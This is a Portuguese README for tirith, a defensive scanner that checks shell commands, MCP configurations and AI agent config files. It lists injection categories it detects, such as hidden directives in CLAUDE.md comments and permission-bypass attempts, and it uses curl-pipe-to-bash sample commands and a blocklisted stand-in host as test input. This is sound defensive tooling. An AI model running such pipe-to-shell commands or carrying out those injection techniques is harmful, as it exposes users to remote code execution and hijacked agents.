| `tirith_check_command` | Analisa comandos de shell em busca de pipe-to-shell, URLs homógrafas, injeção de env |
| `tirith_check_url` | Pontua URLs para ataques homógrafos, truques de punycode, URLs encurtadas, IPs brutos |
| `tirith_check_paste` | Verifica conteúdo colado em busca de escapes ANSI, controles bidi, caracteres de largura zero |
| `tirith_scan_file` | Escaneia um arquivo em busca de conteúdo oculto, Unicode invisível, envenenamento de configuração |
| `tirith_scan_directory` | Varredura recursiva com priorização de arquivos de configuração de IA |
| `tirith_verify_mcp_config` | Valida configurações MCP em busca de servidores inseguros, injeção de shell em args, ferramentas curinga |
| `tirith_fetch_cloaking` | Detecta cloaking do lado do servidor (conteúdo diferente para bots vs navegadores) |

O `tools/list` padrão é um contrato de compatibilidade congelado, porque os clientes
o armazenam em cache e uma ferramenta que aparece sem aviso muda o que um agente acredita que
pode chamar. Uma ferramenta de pré-visualização, `tirith_check_task`, portanto **não é anunciada por
padrão**: execute `TIRITH_MCP_PREVIEW=1 tirith mcp-server` para anunciá-la, e
sem essa adesão opcional um cliente que a chama pelo nome é recusado pelo nome. Consulte
[docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md).

### Governança do servidor MCP

`tirith mcp lock` captura cada servidor MCP que um repositório declara, em `.mcp.json` / `mcp.json` / `mcp_settings.json` e nas variantes de configuração de IDE (`.vscode/`, `.cursor/`, `.windsurf/`, `.cline/`, `.amazonq/`, `.continue/`, `.kiro/`), em um lockfile determinístico em `.tirith/mcp.lock`. Cada servidor é registrado com seu transporte (uma URL remota, ou um comando local + args), ferramentas declaradas, metadados de cobertura e um hash de conteúdo; os servidores são ordenados por nome/origem para que o lockfile seja amigável a diff. Declarações ambíguas ou que contêm credenciais são recusadas em vez de copiadas para o controle de código-fonte. Valores de ambiente e userinfo de URL são representados apenas por marcadores de presença fixos, nunca por valores brutos ou hashes determinísticos: adicionar/remover uma variável ou userinfo ainda gera drift, enquanto a rotação de segredos intencionalmente não. Lockfiles V7 exigem um re-lock explícito para migrar para este modelo de privacidade v8. A descoberta é apenas local ao repositório e não toca a rede. (`tirith mcp` é um grupo de comandos separado de `tirith mcp-server`, que executa o tirith *como* um servidor MCP.)

`tirith mcp verify` é o companheiro de controle: ele reconstrói o inventário atual em relação ao lockfile commitado e sai com 1 em caso de drift ou cobertura de configuração incompleta/recusada (0 correspondência, 2 em erros de uso como um lockfile ausente). `tirith mcp diff` relata o mesmo drift de forma informativa (sempre sai com 0, 2 apenas em erros de uso, para que um consumidor possa distinguir "sem drift" de "não foi possível verificar"). O drift também aparece por meio de `tirith scan` como `mcp_server_drift` (Médio ou Alto), para que um hook de pré-commit ou CI capture uma mudança na superfície MCP da mesma forma que captura uma action não fixada. `verify` / `diff` nunca imprimem valores de env ou userinfos de URL, apenas os nomes do que mudou.

Dois campos de política governam o que é aceito. Ambos são indexados por uma identidade opaca `mcp:v1:...` que vincula caminho de origem, nome do servidor e transporte: `scan.trusted_mcp_servers` suprime as descobertas de configuração e o drift desse servidor exato, enquanto `scan.mcp_allowed_tools` declara as ferramentas exatas que ele pode expor. Nomes simples intencionalmente não correspondem a nada, para que um servidor de mesmo nome em outra configuração não possa herdar confiança. Uma lista de permissões explícita de ferramentas também requer um conjunto de descritores ao vivo aprovado por operador e verifica tanto declarações estáticas quanto nomes de descritores ao vivo. Execute `tirith mcp policy init` para criar as chaves exatas em `.tirith/mcp-policy.yaml.example`, depois use o fluxo `--mcp-server-identity ... --approve-descriptors` do gateway para capturar uma linha de base `tools/list` inspecionada atomicamente. Cada entrada de scaffold é comentada para que a importação nunca amplie a confiança silenciosamente.

### Varredura de arquivos de configuração

`tirith scan` detecta injeção de prompt e payloads ocultos em arquivos de configuração de IA. Ele prioriza e escaneia mais de 50 padrões conhecidos de arquivos de configuração de IA:

- `.cursorrules`, `.windsurfrules`, `.clinerules`, `CLAUDE.md`, `copilot-instructions.md`
- Configurações, agentes, skills, plugins, regras de `.claude/`
- Configurações de `.cursor/`, `.vscode/`, `.windsurf/`, `.cline/`, `.continue/`, `.roo/`, `.codex/`
- `mcp.json`, `.mcp.json`, `mcp_settings.json`
- `.github/copilot-instructions.md`, `.github/agents/*.md`

**O que ele detecta em configurações:**

- **Injeção de prompt** (gatilhos de ativação de skill, tentativas de contorno de permissão, dispensa de segurança, reatribuição de identidade, instruções de substituição entre ferramentas). Cada arquivo é escaneado tanto bruto quanto desofuscado (caracteres invisíveis, confusáveis, espaçamento entre caracteres, leetspeak, base64 / hex curto), para que uma semente oculta atrás de codificação ainda dispare
- **Unicode invisível**: caracteres de largura zero (incluindo Mongolian Vowel Separator), controles bidi, hífens suaves, tags Unicode, preenchedores Hangul, codificação de espaço em branco invisível, confusáveis alfanuméricos matemáticos
- **Problemas de configuração MCP**: conexões HTTP inseguras, servidores com IP bruto, metacaracteres de shell em args, nomes de servidor duplicados, acesso a ferramentas curinga

### Varredura de cadeia de suprimentos de CI / repositório

`tirith scan` também inspeciona os arquivos que um repositório versiona para descrever seu próprio pipeline de build e implantação. Ele detecta o *padrão* perigoso, não a ferramenta: uma action fixada por SHA, uma imagem fixada por digest, um módulo Terraform local e um `package.json` normal permanecem limpos.

**O que ele detecta em arquivos de CI / infraestrutura:**

- **Workflows do GitHub Actions** (`.github/workflows/*.yml`), uma referência `uses:` de action fixada em uma ref mutável (`@v3`, `@main`) em vez de um commit SHA; o gatilho `pull_request_target`; um pipe-to-shell `curl … | bash` em um passo `run:`; um valor `${{ github.event.* }}` controlável pelo atacante interpolado em um passo de shell `run:` (injeção de script)
- **Dockerfiles**: uma imagem base `FROM` na tag mutável `latest` (ou sem tag) sem fixação de digest `@sha256:`
- **Terraform** (`*.tf`), um bloco `module` originado de um local remoto / não confiável em vez de um caminho local ou do Terraform Registry
- **Helm charts** (`Chart.yaml`), uma dependência de chart de um repositório de charts não confiável
- **`package.json`**: um script de ciclo de vida `preinstall` / `install` / `postinstall` que executa um comando perigoso (pipe-to-shell, payload ofuscado, download-and-run); esses hooks são executados automaticamente em `npm install`

Três valores `--profile` integrados ajustam a varredura: `ci-hardening` (todas as verificações em força total, fail-on `high`), `ai-agent-repo` (mantém descobertas de injeção, descarta ruído de higiene de fixação de baixo valor) e `oss-maintainer` (enfatiza risco controlável por contribuidores ao revisar uma mudança).```bash
tirith scan ./                          # scan the repo
tirith scan --profile ci-hardening ./   # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif

Detecção de conteúdo oculto

Detecta conteúdo invisível para humanos mas legível por IA em HTML, Markdown e PDF:

  • Ocultação via CSS: display:none, visibility:hidden, opacity:0, font-size:0, posicionamento fora do ecrã
  • Ocultação via cor: texto branco sobre branco, primeiro plano/fundo semelhantes (rácio de contraste < 1.5:1)
  • Comentários HTML/Markdown: frases de injeção de prompt (Alto), comandos destrutivos como rm -rf ou curl|bash (Médio), comentários longos que ocultam instruções (Baixo)
  • Texto oculto em PDF: texto renderizado em sub-pixel (font-size < 1px) invisível para leitores mas analisável por LLMs

Análise de conteúdo oculto em ficheiros relevantes para IA

tirith scan também inspeciona tipos de ficheiros que um agente de codificação IA (ou um renderizador) lê e sobre os quais age, procurando conteúdo introduzido à socapa perante um revisor humano. Um notebook normal, um CLAUDE.md comum com instruções visíveis e uma imagem SVG simples permanecem limpos; apenas conteúdo oculto / introduzido à socapa dispara.

  • Notebooks Jupyter (*.ipynb), caracteres invisíveis / bidi / de largura zero no código-fonte da célula, um blob codificado em base64 incorporado no código-fonte, uma célula oculta da vista renderizada (metadata.jupyter.source_hidden / uma tag hide_input), e saídas de célula que transportam caracteres invisíveis ou HTML ativo / oculto
  • Ficheiros de instruções para agentes IA (CLAUDE.md, AGENTS.md, .cursorrules e similares), apenas diretivas ocultas: uma instrução dentro de um comentário HTML (invisível em Markdown renderizado) ou um elemento HTML visualmente oculto. Estes ficheiros contêm legitimamente instruções visíveis, pelo que instruções visíveis comuns nunca disparam
  • Imagens SVG (*.svg), um <script> incorporado, um manipulador de eventos on* inline, um URI javascript:, um xlink:href / href remoto, ou uma declaração de entidade externa XXE

Detecção de cloaking

tirith fetch compara respostas de servidor entre 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) para detetar quando os servidores servem conteúdo diferente a bots de IA versus navegadores.


Contexto operacional e guardas de estação de trabalho

Para além de comandos individuais, vários grupos de comandos estendem o gate ao seu contexto operacional e estado da estação de trabalho. Os que tocam o caminho crítico são opt-in (uma flag de política); os restantes executam a pedido.

Contexto operacional (tirith context, ssh, iac, sudo). Rotule os seus contextos de cloud / Kubernetes de produção e hosts SSH uma vez, e o tirith escala o que importa: um comando destrutivo contra um contexto rotulado como produção, um SSH para um host rotulado como produção, um apply de Terraform / Pulumi / OpenTofu sem plano guardado correspondente, ou uma escalada sudo sem uma janela de sessão justificada. Os rótulos residem em ~/.config/tirith/context-labels.yaml e ssh-host-labels.yaml (ou com âmbito de repositório em .tirith/).

Higiene da estação de trabalho (tirith hygiene, persistence, aliases, env, exec, path, hooks). Analisa ficheiros de credenciais com permissões permissivas e tokens em texto simples (~/.ssh, ~/.aws, ~/.kube, .npmrc, .pypirc), compara os pontos de persistência que um atacante usa (shell rc, authorized_keys, crontab, LaunchAgents / unidades systemd-user, core.hooksPath do git), sinaliza aliases que mascaram comandos críticos ou leem credenciais, audita o quanto à ordenação de hijack, e reporta a proveniência de um binário (proprietário do pacote, assinatura de código, se mascara um comando de sistema).

Raio de impacto e isolamento (tirith preview, watch, temp-run, taint, intend, baseline). Pré-visualize o impacto no sistema de ficheiros de um comando destrutivo antes de o executar, compare o que um comando realmente alterou depois, execute um comando não confiável num diretório descartável, e rastreie ficheiros descarregados de fontes de risco para que executar um mais tarde dispare uma descoberta. temp-run altera apenas o diretório de trabalho; é isolamento de ficheiros, não uma sandbox.

Confiança, atestação e resposta a incidentes

  • Atestações de comandos (tirith command-card) assinam um comando conhecido como bom com uma chave ed25519; um cartão confiável que já não corresponde ao comando dispara Alto.
  • Manifesto de comandos do repositório (tirith commands) é uma allowlist .tirith/commands.yaml que silencia a nota de comando desconhecido para comandos autorizados e adiciona uma lista dangerous[] apenas de elevação (pode apertar um veredicto, nunca enfraquecê-lo).
  • Honeytokens (tirith canary) plantam tokens canário claramente sintéticos; um toque em qualquer comando, colagem ou saída de ferramenta verificada dispara Alto. A deteção é uma consulta a um armazenamento local, não uma correspondência de forma.
  • Rotação de segredos (tirith secret) lê descobertas recentes de credenciais do seu registo de auditoria e imprime passos de rotação / revogação específicos do fornecedor para 11 fornecedores. Nunca roda nada por si próprio e não faz chamadas de rede.
  • Modo de incidente (tirith incident) declara uma postura de "sob ataque": força fail_mode: closed, desativa o bypass TIRITH=0, e eleva as regras de credential-sweep, decode-execute e binário suspeito até o parar.

Segurança de saída, colagem e partilha

  • Defesa na direção de saída (tirith view, tirith output, gateway run --filter-output, e mcp-server seguro por predefinição) neutraliza escapes de deceção de terminal na saída de comandos, ferramentas MCP e leitura de recursos: escritas na área de transferência OSC 52, prompts falsos, incompatibilidade de hiperligação OSC 8, e manipulação de título / limpar ecrã. Também analisa a saída quanto a injeção de prompt (em bruto e desobfuscada) e beacons de exfiltração de dados. Adicione seeds personalizados com injection_seeds_custom, e opte por redigir um bloco MCP apenas de injeção para um aviso (em vez de bloquear toda a saída) com mcp_redact_injection. A escotilha de escape legada mcp-server --unsafe-unsanitized-tool-output não é recomendada.
  • Redação consciente do público (tirith share, tirith redact, tirith logs) remove segredos e IDs de cliente / tenant antes de colar num issue do GitHub, Slack, um LLM, ou uma colagem pública.
  • Proveniência de colagem (tirith paste --with-source, ). Com o host de mensagens nativas do Chrome complementar instalado, o tirith atribui um comando colado à sua página de origem e sinaliza uma colagem cujo host de origem difere de onde o comando é executado.

Instalação

macOS

Homebrew:```bash brew install tirith

root@kitploit:~
### Pacotes Linux

**Debian / Ubuntu (.deb):**

Baixe em [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), depois:```bash
sudo dpkg -i tirith_*_amd64.deb

Fedora / RHEL / CentOS 8+ e Amazon Linux 2023 (.rpm):

Baixe em GitHub Releases, depois:```bash sudo dnf install ./tirith-*.rpm

root@kitploit:~
Os binários de lançamento do Linux GNU têm como alvo um teto GLIBC 2.28. A CI executa tanto tarballs x86_64 quanto aarch64 no AlmaLinux 8, Amazon Linux 2023 e Rocky Linux 9; os `.deb` e `.rpm` x86_64 contêm esses mesmos binários canônicos.

**Arch Linux (AUR):**```bash
yay -S tirith
# or: paru -S tirith

Nix:```bash nix profile install nixpkgs#tirith # from nixpkgs nix profile install github:sheeki03/tirith # from upstream flake

or try without installing: nix run github:sheeki03/tirith -- --version

root@kitploit:~
### Android (Termux)

O Android/Termux é executado sobre a Bionic libc, não a glibc, portanto a compilação `aarch64-unknown-linux-gnu` não pode ser executada lá, ela precisa do linker dinâmico da glibc. Use a compilação **musl** em vez disso: `tirith-aarch64-unknown-linux-musl.tar.gz` é estaticamente vinculada e é executada no Termux sem uma libc externa.```bash
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
  https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version

Em seguida, ative o hook do shell em ~/.bashrc (o shell padrão do Termux é o bash):```bash eval "$(tirith init --shell bash)" # add to ~/.bashrc

root@kitploit:~
> [!NOTE]
> O suporte ao Termux é feito com o melhor esforço possível. O artefato musl é compilado e testado em
> CI, mas o tirith ainda não é testado continuamente em um dispositivo Android real.
> Se um hook se comportar mal no Termux, por favor abra uma issue com a saída do `tirith doctor`.

### Windows

O Windows suporta detecção, varredura, webhooks, gerenciamento de políticas, uploads
de auditoria e `tirith setup`. O hook do PowerShell fornece interceptação preflight do PSReadLine,
mas não reivindica um recibo de execução estrito pós-aceitação.
A execução remota de scripts ao vivo e o modo daemon permanecem indisponíveis no Windows.

**Scoop:**```powershell
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

Chocolatey (repositório da comunidade):```powershell choco install tirith

Upgrade an existing Chocolatey installation:

choco upgrade tirith

root@kitploit:~
A moderação do Chocolatey pode ficar atrasada em relação ao lançamento no GitHub. Execute `choco info tirith` para
ver a versão atualmente aprovada. Use o Scoop ou um artefato assinado do
[GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) quando a
versão mais recente for necessária antes que a moderação do Chocolatey seja concluída.

### Multiplataforma

**npm:**```bash
npm install -g tirith

Cargo:```bash cargo install tirith

root@kitploit:~
**[Mise](https://mise.jdx.dev/)** (registro oficial):```bash
mise use -g tirith

asdf:```bash asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git asdf install tirith latest asdf global tirith latest

root@kitploit:~
**Docker:**```bash
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

Ativar

Adicione ao perfil do seu shell (.zshrc, .bashrc ou config.fish):```bash eval "$(tirith init --shell zsh)" # in ~/.zshrc eval "$(tirith init --shell bash)" # in ~/.bashrc tirith init --shell fish | source # in ~/.config/fish/config.fish

root@kitploit:~
| Shell | Tipo de hook | Testado em |
|-------|-----------|-----------|
| zsh | accept-line + widgets de colagem | 5.8+ |
| bash | macro da tecla enter ou preexec (dois modos) | caminho de compatibilidade 3.2; 5.0+ para o caminho moderno totalmente testado |
| fish | handlers da tecla Enter + colagem | 3.5+ |
| PowerShell | handler do PSReadLine | 7.0+ |

O Bash usa o modo enter quando um autoteste de capacidade provou que ele funciona para o seu bash, e preexec caso contrário. Desde a 0.4.1 esse autoteste passa no GNU bash padrão, então o modo enter é o resultado comum depois que `tirith setup` ou `tirith doctor` o executou; o hook do shell lê o veredito em cache na inicialização. Consulte [solução de problemas](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md#bash-enter-mode-vs-preexec-mode) para detalhes sobre os modos, o autoteste e o comportamento de fallback em SSH.

O Bash 3.2 do sistema do macOS continua sendo um caminho de compatibilidade, não a
linha de base moderna de bloqueio. Seu comportamento de DEBUG-trap pode impedir
que o trampolim se fixe; o Tirith anuncia a degradação resultante quando seu
heartbeat consegue observá-la, o que pode ocorrer um comando depois. Use Bash 5+
ou um caminho de modo enter comprovado quando um gate de autorização estrito do
Bash for necessário.

> [!WARNING]
> O modo preexec do Bash é apenas de aviso por padrão. Defina `TIRITH_BASH_PREEXEC_ENFORCE=1` para bloqueio condicional. O Tirith escaneia a linha digitada confiável uma vez, habilita seu próprio `extdebug` apenas após um veredito de bloqueio e o libera antes que `PROMPT_COMMAND` seja executado. Se os limites do prompt ou um DEBUG trap pertencente ao chamador não puderem ser preservados com segurança, ou se `extdebug` já estiver habilitado pelo usuário, o Tirith deixa visivelmente a interceptação preexec desligada em vez de sobrescrever o estado do shell.

#### Aplicação por shell

| Shell | Comportamento |
|---|---|
| bash **modo enter** | **Bloqueio confiável.** Vincula Enter a uma macro do readline que executa o verificador e depois um accept-line protegido, de modo que um comando pode ser interrompido antes que o bash se comprometa a executá-lo. Selecionado onde quer que o autoteste de capacidade (`tirith doctor --simulate-enter`) tenha provado a entrega e o bloqueio para o bash em execução, o que desde a 0.4.1 acontece no GNU bash padrão. Uma flag de modo seguro persistida, uma sessão SSH ou um `TIRITH_BASH_MODE=preexec` forçado ainda selecionam preexec. |
| bash **preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`** | **Bloqueio condicional.** Escaneia uma linha inteira confiável, depois ativa o `extdebug` pertencente ao Tirith apenas para um bloqueio e o restaura no próximo prompt. Entradas existentes de `PROMPT_COMMAND` em string/array mantêm sua ordem e são executadas fora do escaneamento. A aplicação recusa ou rebaixa visivelmente quando o histórico é filtrado ou um alias / substituição de comando / `eval` faz a linha digitada divergir de `BASH_COMMAND`; propriedade insegura de prompt/DEBUG ou `extdebug` pertencente ao usuário deixa a interceptação explicitamente desligada em vez de mutar o estado do usuário. |
| bash **preexec** (sem flag de enforce) | Apenas aviso. Imprime um banner DETECTED em comandos de risco; não bloqueia. O fallback quando o autoteste do modo enter não provou que a entrega funciona, ou quando o modo enter está indisponível de outra forma. |
| zsh, fish | Bloqueio confiável em seus handlers de Enter/accept-line, antes da passagem para o shell nativo. Eventos preexec apenas de notificação não são tratados como gates de autorização. |
| PowerShell | Bloqueio confiável de preflight do PSReadLine; sem recibo estrito de execução. |
| nushell | Apenas aviso (atualmente não suporta interceptação de comandos). |

Para bloqueio em nível de linha no bash, execute `tirith doctor --simulate-enter`; se a entrega funcionar, o modo enter é habilitado. Onde não funcionar, use preexec enforce para "bloqueia quando possível; avisa honestamente quando não consegue."

Bash, zsh e fish interativos usam um recibo de execução do protocolo v3 após a
decisão de preflight. No carregamento do hook, eles resolvem e fixam um
executável Tirith absoluto e registram uma capacidade única vinculada ao
processo do shell ativo, família de shell, sessão, usuário e identidade do
executável. Um recibo então passa por `Prepared`, `Armed`, `Consuming` e um
estado terminal `Committed`/`Conflict`/`Discarded`. Isso melhora a atribuição e
a resistência a replay, mas a evidência do shell é deliberadamente registrada
como não resolvida em vez de prova de que cada componente do comando foi
executado. O próprio Tirith é dono de qualquer prompt de aprovação ou
reconhecimento de aviso antes de retornar um recibo armado; o hook não pode
anexar esses fatos depois. Zsh e fish consomem o recibo armado de forma síncrona
no mesmo handler de aceitação de linha e entregam o comando ao shell nativo
somente após essa transição ter sucesso. O PowerShell tem bloqueio de preflight
sem esse protocolo estrito de recibo.

Um shell aninhado recebe sua própria capacidade vinculada ao processo mesmo
quando herda o ID da sessão. Re-carregar o hook no mesmo processo nunca gera
outro bearer. Se `exec` substituir um shell ativo sem alterar seu PID/identidade
de início, a substituição não consegue recuperar o bearer deliberadamente não
exportado e roda em modo legado visivelmente degradado; inicie um terminal novo
ou um shell filho para restaurar recibos estritos. `exec "$SHELL"` não é um
reinício do protocolo de recibo porque preserva essa identidade de processo.

**Nix / Home-Manager:** o tirith deve estar no seu `$PATH` quando o hook é
carregado. Bash, zsh e fish então fixam esse executável resolvido para a sessão
do shell; reinicie o shell após substituir ou atualizar o binário. Adicioná-lo
apenas ao `initContent` não é suficiente.```nix
home.packages = [ pkgs.tirith ];

programs.zsh.initContent = ''
  eval "$(tirith init --shell zsh)"
'';

Atualizando e verificando o tirith

O tirith pode verificar sua própria integridade e se atualizar. Ambos os comandos acessam a rede apenas quando você os executa.```bash tirith verify-self # is this binary the genuine, unmodified release? tirith update # update to the latest release tirith version --provenance # version, build info, install method, verification

root@kitploit:~
**`tirith verify-self`** confirma que o binário em execução é o binário genuíno e não modificado de uma versão oficial. Ele baixa novamente o arquivo de versão para a sua versão e alvo, verifica-o em relação ao `checksums.txt` da versão assinada, verifica a assinatura cosign sobre o `checksums.txt` quando o [`cosign`](https://github.com/sigstore/cosign) está instalado, e confirma que o binário em execução é byte a byte idêntico ao oficial. Se a verificação completa não for possível, uma compilação de desenvolvimento local, sem rede, uma instalação que o tirith não consegue identificar, ele diz isso honestamente em vez de reportar um falso "verified". Com o `cosign` ausente, o checksum ainda é verificado (reportado como `verified-checksum-only`); instale o `cosign` para verificação completa da assinatura (`verified-signed`).

**`tirith update`** tem conhecimento do gestor de pacotes:

- **Instalações via gestor de pacotes** (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) nunca são auto-modificadas. O tirith imprime o comando exato a executar, por exemplo `brew upgrade tirith`. Atualizar através do gestor de pacotes mantém a sua base de dados consistente.
- **Instalações auto-substituíveis** (o tarball do `install.sh`, um binário autónomo, ou uma versão do Tirith com propriedade segura em cache sob uma raiz Hermes (`HERMES_HOME`, ou `~/.hermes` quando essa variável não está definida; apenas Unix)) são atualizadas no local: o tirith baixa a versão mais recente, verifica-a, e depois troca atomicamente o binário, mantendo o anterior como um sidecar `tirith.tirith-previous`. A assinatura cosign é verificada por **predefinição**: se não puder ser verificada (cosign em falta, ou a versão não publicou nenhuma assinatura) a atualização é abortada. Passe `--allow-unsigned` para recorrer à verificação apenas por checksum; uma incompatibilidade de checksum aborta sempre independentemente. `tirith update --rollback` reverte para o binário anterior; `--dry-run` mostra o que aconteceria sem alterar nada. As atualizações permanecem explícitas: o Tirith nunca verifica nem instala um novo binário em segundo plano.

> [!NOTE]
> Os scripts de instalação (`scripts/install.sh` e o `install.ps1` do Windows) também verificam a assinatura cosign da versão por **predefinição** e abortam se o [`cosign`](https://github.com/sigstore/cosign) estiver em falta ou a assinatura não puder ser verificada. Instale o `cosign` primeiro, ou defina `TIRITH_ALLOW_UNSIGNED=1` para instalar com verificação apenas por checksum (não recomendado). Uma incompatibilidade de checksum ou assinatura aborta sempre independentemente desta opção de exclusão.

### Integrações de Shell

**Oh-My-Zsh:**```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)

Integrações com Agentes de IA

Use tirith setup <tool> para configuração com um único comando. Esta é a superfície de configuração nomeada completa, incluindo tanto as integrações anteriores quanto as adições lançadas na 0.4.0:

Uma linha somente MCP expõe as ferramentas do Tirith, mas não força o host a chamá-las. Uma linha de hook é automática somente depois que o host carregou o artefato gerado e ainda honra seu contrato de recusa. Execute tirith doctor, reinicie o host e realize a verificação de permitir/bloquear no formato do host após a configuração e a cada atualização. Caminhos completos de configuração, regras de precedência, comportamento de falha aberta e etapas de verificação estão na matriz de integração de agentes e confiança. Consulte mcp/clients/ para os guias específicos de host disponíveis.

Integração CI/CD

GitHub Action com upload SARIF para a aba GitHub Security:```yaml

  • uses: sheeki03/[email protected] with: version: 0.4.2 fail_on: high sarif: true
root@kitploit:~
As dependências fixadas da action usam o runtime de action Node 24. Runners auto-hospedados
devem usar o [Actions Runner v2.327.1 ou mais recente](https://github.com/actions/runner/releases/tag/v2.327.1);
os runners hospedados pelo GitHub já satisfazem este requisito.

Também disponível como **pre-commit hook**: consulte `.pre-commit-hooks.yaml` neste repositório.

O Scan suporta filtros `--include`, `--exclude`, `--profile` (carrega perfis nomeados da policy) e `--ignore` para varredura de CI direcionada.

### Documentação de Regras```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

Remediação, "o que executar em vez disso"

Cada achado carrega uma remediação por regra: uma linha curta e precisa de "como tornar isto seguro", exibida sob cada achado (Fix:) e em --format json. tirith explain --rule <id> --fix imprime essa remediação por si só.

Quando um comando é bloqueado ou alertado, tirith check --suggest imprime adicionalmente a remediação para o comando real. Inclui uma reescrita executável concreta apenas para uma transformação mecânica restrita cujo comando final é verificado sob a mesma política efetiva:```bash tirith check --suggest -- 'curl -fsSL https://example-cli.dev/i.sh | bash'

→ try: '/usr/local/bin/tirith' run --capsule --script-stdin --interpreter bash \

'https://example-cli.dev/i.sh'

root@kitploit:~
No Linux x86_64, quando o Tirith está instalado num caminho de sistema fixo gerido pelo root e o URL, shell, argumentos e comportamento de stdin do comando podem ser descodificados exatamente, a reescrita encaminha o pipe-to-shell através do runner de cápsulas limitado, revisto, verificado por hash e fail-closed do Tirith. O caminho absoluto do Tirith impede que uma sombra posterior do `PATH` altere o que é executado. Na execução, o runner também exige que o primeiro acerto no `PATH` do interpretador selecionado seja gerido pelo root, vincula os seus bytes antes de descarregar e preserva esse shell em vez de confiar no shebang remoto. Outras arquiteturas, plataformas e instalações do Tirith pertencentes ao utilizador mantêm esta remediação como orientação. Para o curl, as reescritas executáveis exigem adicionalmente semânticas de fail-on-HTTP-error e de seguimento de redirecionamentos (`-f` e `-L`, incluindo um bundle como `-fsSL`). Tokens de URL dinâmicos ou malformados, argumentos de interpretador não suportados, PowerShell, Cmd e pipelines ambíguos permanecem apenas como orientação. As sugestões executáveis estão limitadas ao runner de pipe verificado e fail-closed. Archive, dotfile, remoção de flags TLS, alterações de HTTP para HTTPS, restrição de sudo, limpeza de ambiente e correções de nomes de pacotes são apenas orientação porque as suas semânticas exatas de shell, rede, privilégios, ambiente ou registo não são mecanicamente demonstráveis. Para qualquer achado sem uma reescrita mecânica segura, o Tirith diz isso claramente e mostra a remediação; nunca emite um comando adivinhado. A flag é consultiva: não altera nem o veredicto nem o código de saída.

### Modo Daemon (Unix)

Processo em segundo plano opcional para latência sub-milissegundo e enriquecimento com reconhecimento de rede (resolução de URL encurtado, verificações de listas de bloqueio DNS):```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

[!NOTE] O modo daemon é exclusivo para Unix atualmente.


Comandos

Os comandos do dia a dia:

Superfícies explícitas, com adesão opcional. Nenhuma delas é executada implicitamente, e nenhuma possui daemon ou monitor em segundo plano:

Esse é o conjunto de uso diário. O tirith inclui 78 comandos de nível superior no total, em 8 grupos: scan e análise, status e saúde, configuração, política e confiança, guardas de shell e sistema (hygiene, persistence, exec, path, context, ssh, sudo, iac), supply-chain, integrações com agentes de IA, e forense e resposta. Execute tirith --help para a lista categorizada, ou consulte a referência completa de comandos. A flag global --quiet (ou TIRITH_QUIET=1) silencia a saída de avisos sem ocultar erros, veredictos ou avisos de segurança.


Princípios de design

  • Offline é um limite rígido: paste, score, diff e why não fazem nenhuma chamada de rede. tirith check pode consultar fontes configuradas OSV/deps.dev/ecosyste.ms, CISA KEV e Safe Browsing e pode acionar a atualização periódica do banco de ameaças descrita abaixo. tirith check --offline (ou TIRITH_OFFLINE=1) suprime todos esses caminhos HTTP e DNS, lê apenas caches de runtime existentes e relata falhas de cache como verificação incompleta em vez de um resultado limpo.
  • Atualização periódica do banco de ameaças em segundo plano: tirith check e os hooks do shell acionam uma verificação em segundo plano barata e desanexada no máximo uma vez a cada 24 horas por padrão (threat_intel.auto_update_hours), para manter o banco de dados assinado atualizado. Ela nunca bloqueia o comando. Defina auto_update_hours: 0 para desativá-la, ou --offline / TIRITH_OFFLINE=1 para suprimi-la por invocação. a aciona; ele passa direto pelo motor local.

Configuração

Início rápido```bash

tirith policy init # creates .tirith/policy.yaml in your repo tirith policy validate # check for syntax/schema errors tirith policy test "curl https://example.com | bash" # dry-run against policy

root@kitploit:~
`tirith policy init` aceita `--template <name>` para uma política inicial pré-definida:```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

Cada template é uma política bem comentada e válida segundo o schema que podes editar posteriormente. Sem --template, tirith policy init escreve a política predefinida completa.

Ficheiro de política

O Tirith usa um ficheiro de política YAML. Ordem de descoberta:

  1. .tirith/policy.yaml no diretório atual (sobe até à raiz do repositório)
  2. `~/.config/tirith/policy.yaml````yaml fail_mode: open # or "closed" for strict environments paranoia: 1 # 1-4: higher = more sensitive strict_warn: false # require explicit acknowledgement for warnings

allowlist:

  • "get.docker.com"
  • "sh.rustup.rs"

blocklist:

  • "evil.example.com"

severity_overrides: docker_untrusted_registry: CRITICAL

scan: ignore_patterns: - "node_modules" - "target" profiles: ci: include: [".md", ".json", ".yaml", ".claude/"] fail_on: high

root@kitploit:~
Use `allowlist_rules` para supressões com escopo de regra quando você confia em uma origem para uma regra, mas não quer permiti-la globalmente:```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

